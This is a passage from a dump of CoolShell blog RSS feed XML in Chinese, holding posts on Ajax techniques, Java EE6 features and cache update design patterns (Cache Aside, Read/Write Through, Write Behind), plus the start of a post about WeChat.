c)还有上传的进度条，d)支持多用户帐号。还有很多很多。Relay绝对实现了你所能想得到的功能。</p>\n<p><img decoding=\"async\" src=\"http://nettuts.s3.amazonaws.com/090_20ajax/9.jpg\" alt=\"\" /></p>\n<p><strong>10）Ajax邮件客户端</strong></p>\n<p>目前，太多太多的邮件系统越来越多的使用Ajax技术。在用户体验方面，Gmail和网易邮箱最好。Hotmail的界面和outlook很相似了，可惜的是hotmail的运行速度感觉就像一辆后面拖着大石头的跑车。如果你想要开发一个Ajax的邮件客户端，那么，你一定要读一下下面的这篇文章：</p>\n<p><a href=\"http://www.devarticles.com/c/a/XML/Take-AJAX-to-Your-Email-Inbox-Developing-a-Webbased-POP-3-Client/\" target=\"_blank\">http://www.devarticles.com/c/a/XML/Take-AJAX-to-Your-Email-Inbox-Developing-a-Webbased-POP-3-Client/</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/javascript-150x150.jpg\" alt=\"Javascript 装载和执行\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9749.html\" class=\"wp_rp_title\">Javascript 装载和执行</a></li><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/18.jpg\" alt=\"Web版的VNC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2593.html\" class=\"wp_rp_title\">Web版的VNC</a></li><li ><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/10/uizard2-150x150.jpg\" alt=\"Ajax开发利器UIzard \" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1611.html\" class=\"wp_rp_title\">Ajax开发利器UIzard </a></li><li ><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"7个免费强大的Ajax文件管理器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/909.html\" class=\"wp_rp_title\">7个免费强大的Ajax文件管理器</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7.html\">你应该知道的20个Ajax技术(01-10)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/7.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>1</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Java EE6 初探</title>\n\t\t<link>https://coolshell.cn/articles/5.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/5.html#respond</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 02 Mar 2009 05:33:45 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Java语言]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Java]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=5</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>在tss上，Reza Rahman发表了一篇关于JAVA EE6《Java EE6 Overview》的文章，在文章里面他谈及一些关于JavaEE6草案的一些修...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/5.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/5.html\">Java EE6 初探</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div class=\"item_t\">\n<div id=\"item_desc_944813350\" class=\"item_desc\" style=\"display: inline;\">在<a title=\"TSS\" href=\"http://www.theserverside.com/\" target=\"_blank\">tss</a>上，Reza Rahman发表了一篇关于JAVA EE6<a title=\"《Java EE6 Overview》\" href=\"http://www.theserverside.com/tt/articles/article.tss?l=JavaEE6Overview\" target=\"_blank\">《Java EE6 Overview》</a>的文章，在文章里面他谈及一些关于JavaEE6草案的一些修改内容。</div>\n</div>\n<p>想JAVA企业级应用一路走来，从J2ee到Java EE5 在到即将要推出的Java EE6经历了一个由复杂到简单，由繁到简的过程。</p>\n<p>Reza Rahman 文章说，Java EE6将会更简单，更轻量级，更易部署，Java EE6将会裁剪到Java EE5中不实用的部分。并且Java EE6将会为不同的用户群提供不同的规范子集。</p>\n<p>回顾上一版本Java EE 5中，主要引入了以下改变：<br />\n1）引入了EJB3.0<br />\n2）引入了JSF作Tier framework.<br />\n3）使用JAX-WS2.0取代了JAX-RPC作新一代的SOAP的Web service API<br />\n4）使用POJO编程，零配置系统和自由的XML减轻了系统的复杂性。</p>\n<p><span id=\"more-5\"></span></p>\n<p>而新版本的Java EE 6中，提供了一个更为简单，新型和完美整全的平台，并提供了非常丰富的技术，其包含WebBeans 1.0和JAX-RS 1.1，以及更为成熟的Servlet 3.0。</p>\n<p>他废除了如下的API:<br />\n1)JAX-RPC，(被JAX-WS API 取代)<br />\n2)EJB2.x 实体Beans CMP,（被EJB3.0取代）<br />\n3)JAXR, Java EE Appcliation Deployment(JSF-88)<br />\n4)Java EE Management (JSR-77)</p>\n<p>他具体包含了如下组件：<br />\n1）WebBeans 1.0：它基本上来说整合了 JSF, JPA 和 EJB 3的编程模型。<br />\n2）JSF 2.0：主要增加了Facelets，Facelets是一个开源的技术，并让JSF支持AJAX，等。<br />\n3）EJB 3.1：主要加入了单实例Bean的根念，支持cron-style调试，异步调用Session Bean的方法，等。<br />\n4）JPA 2.0：主要加了一系列的ORM映射扩展（如maps或lists等），增强了EntityManager和Query的APIs，JPQL支持SQL-like CASE, NULLIF, COALESCE，以及加入了Criteria API。<br />\n5）Servlet 3.0：更为成熟的Servlet引入了Java EE 5模型，更容易配置的web.xml，以及可以通过ServletContext以程序的方式添加Servlets, Filters 和Listeners，等等。<br />\n6）JAX-RS 1.1：REST 开始逐渐成为WEB开发的范例，JAX-RS主要设计目的是简化REST开发，POJO编程和Annotation配置。</p>\n<p>有关规范的草案可以<a href=\"http://jcp.org/en/jsr/detail?id=316\" target=\"_blank\">http://jcp.org/en/jsr/detail?id=316</a>.这里找到<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" alt=\"Rust语言的编程范式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20845.html\" class=\"wp_rp_title\">Rust语言的编程范式</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"面向GC的Java编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11541.html\" class=\"wp_rp_title\">面向GC的Java编程</a></li><li ><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"从LongAdder看更高效的无锁实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11454.html\" class=\"wp_rp_title\">从LongAdder看更高效的无锁实现</a></li><li ><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/cow-copy-150x150.jpg\" alt=\"Java中的CopyOnWrite容器\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11175.html\" class=\"wp_rp_title\">Java中的CopyOnWrite容器</a></li><li ><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/图1-3-150x150.jpg\" alt=\"无锁HashMap的原理与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9703.html\" class=\"wp_rp_title\">无锁HashMap的原理与实现</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5.html\">Java EE6 初探</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/5.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>0</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-5.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 5 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=5\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Fri, 10 Jul 2020 09:26:47 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>缓存更新的套路</title>\n\t\t<link>https://coolshell.cn/articles/17416.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17416.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 27 Jul 2016 08:25:28 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[cache]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17416</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>看到好些人在写更新缓存数据代码时，先删除缓存，然后再更新数据库，而后续的操作会把数据再装载的缓存中。然而，这个是逻辑是错误的。试想，两个并发操作，一个是更新操作...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17416.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-17422\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-300x158.png\" alt=\"cache\" width=\"300\" height=\"158\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-300x158.png 300w, https://coolshell.cn/wp-content/uploads/2016/07/cache-514x270.png 514w, https://coolshell.cn/wp-content/uploads/2016/07/cache.png 600w\" sizes=\"(max-width: 300px) 100vw, 300px\" />看到好些人在写更新缓存数据代码时，<strong>先删除缓存，然后再更新数据库</strong>，而后续的操作会把数据再装载的缓存中。<strong>然而，这个是逻辑是错误的</strong>。试想，两个并发操作，一个是更新操作，另一个是查询操作，更新操作删除缓存后，查询操作没有命中缓存，先把老数据读出来后放到缓存中，然后更新操作更新了数据库。于是，在缓存中的数据还是老的数据，导致缓存中的数据是脏的，而且还一直这样脏下去了。</p>\n<p>我不知道为什么这么多人用的都是这个逻辑，当我在微博上发了这个贴以后，我发现好些人给了好多非常复杂和诡异的方案，所以，我想写这篇文章说一下几个缓存更新的Design Pattern（让我们多一些套路吧）。</p>\n<p>这里，我们先不讨论更新缓存和更新数据这两个事是一个事务的事，或是会有失败的可能，我们先假设更新数据库和更新缓存都可以成功的情况（我们先把成功的代码逻辑先写对）。</p>\n<p>更新缓存的的Design Pattern有四种：Cache aside, Read through, Write through, Write behind caching，我们下面一一来看一下这四种Pattern。</p>\n<p><span id=\"more-17416\"></span></p>\n<h4>Cache Aside Pattern</h4>\n<p>这是最常用最常用的pattern了。其具体逻辑如下：</p>\n<ul>\n<li><strong>失效</strong>：应用程序先从cache取数据，没有得到，则从数据库中取数据，成功后，放到缓存中。</li>\n</ul>\n<ul>\n<li><strong>命中</strong>：应用程序从cache中取数据，取到后返回。</li>\n</ul>\n<ul>\n<li><strong>更新</strong>：先把数据存到数据库中，成功后，再让缓存失效。</li>\n</ul>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17438 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/Cache-Aside-Design-Pattern-Flow-Diagram-e1470471723210.png\" alt=\"Cache-Aside-Design-Pattern-Flow-Diagram\" width=\"600\" height=\"188\" /></p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter wp-image-17437 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1-e1470471761402.png\" alt=\"Updating-Data-using-the-Cache-Aside-Pattern-Flow-Diagram-1\" width=\"600\" height=\"186\" /></p>\n<p>注意，我们的更新是先更新数据库，成功后，让缓存失效。那么，这种方式是否可以没有文章前面提到过的那个问题呢？我们可以脑补一下。</p>\n<p>一个是查询操作，一个是更新操作的并发，首先，没有了删除cache数据的操作了，而是先更新了数据库中的数据，此时，缓存依然有效，所以，并发的查询操作拿的是没有更新的数据，但是，更新操作马上让缓存的失效了，后续的查询操作再把数据从数据库中拉出来。而不会像文章开头的那个逻辑产生的问题，后续的查询操作一直都在取老的数据。</p>\n<p>这是标准的design pattern，包括Facebook的论文《<a href=\"https://www.usenix.org/system/files/conference/nsdi13/nsdi13-final170_update.pdf\" target=\"_blank\">Scaling Memcache at Facebook</a>》也使用了这个策略。为什么不是写完数据库后更新缓存？你可以看一下Quora上的这个问答《<a href=\"https://www.quora.com/Why-does-Facebook-use-delete-to-remove-the-key-value-pair-in-Memcached-instead-of-updating-the-Memcached-during-write-request-to-the-backend\">Why does Facebook use delete to remove the key-value pair in Memcached instead of updating the Memcached during write request to the backend?</a>》，主要是怕两个并发的写操作导致脏数据。</p>\n<p>那么，是不是Cache Aside这个就不会有并发问题了？不是的，比如，一个是读操作，但是没有命中缓存，然后就到数据库中取数据，此时来了一个写操作，写完数据库后，让缓存失效，然后，之前的那个读操作再把老的数据放进去，所以，会造成脏数据。</p>\n<p>但，这个case理论上会出现，不过，实际上出现的概率可能非常低，因为这个条件需要发生在读缓存时缓存失效，而且并发着有一个写操作。而实际上数据库的写操作会比读操作慢得多，而且还要锁表，而读操作必需在写操作前进入数据库操作，而又要晚于写操作更新缓存，所有的这些条件都具备的概率基本并不大。</p>\n<p><strong>所以，这也就是Quora上的那个答案里说的，要么通过2PC或是Paxos协议保证一致性，要么就是拼命的降低并发时脏数据的概率，而Facebook使用了这个降低概率的玩法，因为2PC太慢，而Paxos太复杂。当然，最好还是为缓存设置上过期时间。</strong></p>\n<h4>Read/Write Through Pattern</h4>\n<p>我们可以看到，在上面的Cache Aside套路中，我们的应用代码需要维护两个数据存储，一个是缓存（Cache），一个是数据库（Repository）。所以，应用程序比较啰嗦。而Read/Write Through套路是把更新数据库（Repository）的操作由缓存自己代理了，所以，对于应用层来说，就简单很多了。<strong>可以理解为，应用认为后端就是一个单一的存储，而存储自己维护自己的Cache。</strong></p>\n<h5>Read Through</h5>\n<p>Read Through 套路就是在查询操作中更新缓存，也就是说，当缓存失效的时候（过期或LRU换出），Cache Aside是由调用方负责把数据加载入缓存，而Read Through则用缓存服务自己来加载，从而对应用方是透明的。</p>\n<h5>Write Through</h5>\n<p>Write Through 套路和Read Through相仿，不过是在更新数据时发生。当有数据更新的时候，如果没有命中缓存，直接更新数据库，然后返回。如果命中了缓存，则更新缓存，然后再由Cache自己更新数据库（这是一个同步操作）</p>\n<p>下图自来Wikipedia的<a href=\"https://en.wikipedia.org/wiki/Cache_(computing)\">Cache词条</a>。其中的Memory你可以理解为就是我们例子里的数据库。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17417\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/460px-Write-through_with_no-write-allocation.svg_.png\" alt=\"Write-through_with_no-write-allocation\" width=\"460\" height=\"620\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/460px-Write-through_with_no-write-allocation.svg_.png 460w, https://coolshell.cn/wp-content/uploads/2016/07/460px-Write-through_with_no-write-allocation.svg_-223x300.png 223w\" sizes=\"(max-width: 460px) 100vw, 460px\" /></p>\n<h4>Write Behind Caching Pattern</h4>\n<p>Write Behind 又叫 Write Back。<strong>一些了解Linux操作系统内核的同学对write back应该非常熟悉，这不就是Linux文件系统的Page Cache的算法吗？是的，你看基础这玩意全都是相通的。</strong>所以，基础很重要，我已经不是一次说过基础很重要这事了。</p>\n<p>Write Back套路，一句说就是，在更新数据的时候，只更新缓存，不更新数据库，而我们的缓存会异步地批量更新数据库。这个设计的好处就是让数据的I/O操作飞快无比（因为直接操作内存嘛 ），因为异步，write backg还可以合并对同一个数据的多次操作，所以性能的提高是相当可观的。</p>\n<p>但是，其带来的问题是，数据不是强一致性的，而且可能会丢失（我们知道Unix/Linux非正常关机会导致数据丢失，就是因为这个事）。在软件设计上，我们基本上不可能做出一个没有缺陷的设计，就像算法设计中的时间换空间，空间换时间一个道理，有时候，强一致性和高性能，高可用和高性性是有冲突的。软件设计从来都是取舍Trade-Off。</p>\n<p>另外，Write Back实现逻辑比较复杂，因为他需要track有哪数据是被更新了的，需要刷到持久层上。操作系统的write back会在仅当这个cache需要失效的时候，才会被真正持久起来，比如，内存不够了，或是进程退出了等情况，这又叫lazy write。</p>\n<p>在wikipedia上有一张write back的流程图，基本逻辑如下：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-17428\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/Write-back_with_write-allocation.png\" alt=\"Write-back_with_write-allocation\" width=\"640\" height=\"820\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/Write-back_with_write-allocation.png 640w, https://coolshell.cn/wp-content/uploads/2016/07/Write-back_with_write-allocation-234x300.png 234w\" sizes=\"(max-width: 640px) 100vw, 640px\" /></p>\n<p>&nbsp;</p>\n<h4>再多唠叨一些</h4>\n<p>1）上面讲的这些Design Pattern，其实并不是软件架构里的mysql数据库和memcache/redis的更新策略，这些东西都是计算机体系结构里的设计，比如CPU的缓存，硬盘文件系统中的缓存，硬盘上的缓存，数据库中的缓存。<strong>基本上来说，这些缓存更新的设计模式都是非常老古董的，而且历经长时间考验的策略</strong>，所以这也就是，工程学上所谓的Best Practice，遵从就好了。</p>\n<p>2）有时候，我们觉得能做宏观的系统架构的人一定是很有经验的，其实，宏观系统架构中的很多设计都来源于这些微观的东西。比如，云计算中的很多虚拟化技术的原理，和传统的虚拟内存不是很像么？Unix下的那些I/O模型，也放大到了架构里的同步异步的模型，还有Unix发明的管道不就是数据流式计算架构吗？TCP的好些设计也用在不同系统间的通讯中，仔细看看这些微观层面，你会发现有很多设计都非常精妙……所以，<strong>请允许我在这里放句观点鲜明的话——如果你要做好架构，首先你得把计算机体系结构以及很多老古董的基础技术吃透了</strong>。</p>\n<p>3）在软件开发或设计中，我非常建议在之前先去参考一下已有的设计和思路，<strong>看看相应的guideline，best practice或design pattern，吃透了已有的这些东西，再决定是否要重新发明轮子</strong>。千万不要似是而非地，想当然的做软件设计。</p>\n<p>4）上面，我们没有考虑缓存（Cache）和持久层（Repository）的整体事务的问题。比如，更新Cache成功，更新数据库失败了怎么吗？或是反过来。关于这个事，如果你需要强一致性，你需要使用“两阶段提交协议”——prepare, commit/rollback，比如Java 7 的<a href=\"http://docs.oracle.com/javaee/7/api/javax/transaction/xa/XAResource.html\" target=\"_blank\">XAResource</a>，还有MySQL 5.7的 <a href=\"http://dev.mysql.com/doc/refman/5.7/en/xa.html\" target=\"_blank\">XA Transaction</a>，有些cache也支持XA，比如<a href=\"http://www.ehcache.org/documentation/3.0/xa.html\" target=\"_blank\">EhCache</a>。当然，XA这样的强一致性的玩法会导致性能下降，关于分布式的事务的相关话题，你可以看看《<a href=\"https://coolshell.cn/articles/10910.html\" target=\"_blank\">分布式系统的事务处理</a>》一文。</p>\n<p>（全文完）</p>\n<p>&nbsp;</p>\n<p>&nbsp;<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" alt=\"需求变化与IoC\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/6950.html\" class=\"wp_rp_title\">需求变化与IoC</a></li><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/17416.html\">缓存更新的套路</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/17416.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>186</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为什么我不在微信公众号上写文章</title>\n\t\t<link>https://coolshell.cn/articles/17391.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/17391.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 11 Jul 2016 01:08:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[Blog]]></category>\n\t\t<category><![CDATA[search]]></category>\n\t\t<category><![CDATA[传播]]></category>\n\t\t<category><![CDATA[影响]]></category>\n\t\t<category><![CDATA[微信]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=17391</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>很多朋友问我为什么不在微信公众号上写文章。我都没有直接回答，老实说，我也是扭扭捏捏的，才去开了个个人的微信的公众号，而且还只是为了使用微服小程序，和文章的发布通...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/17391.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/17391.html\">为什么我不在微信公众号上写文章</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright size-medium wp-image-17394\" src=\"https://coolshell.cn/wp-content/uploads/2016/07/Community-300x161.jpg\" alt=\"Community\" width=\"300\" height=\"161\" srcset=\"https://coolshell.cn/wp-content/uploads/2016/07/Community-300x161.jpg 300w, https://coolshell.cn/wp-content/uploads/2016/07/Community-768x412.jpg 768w, 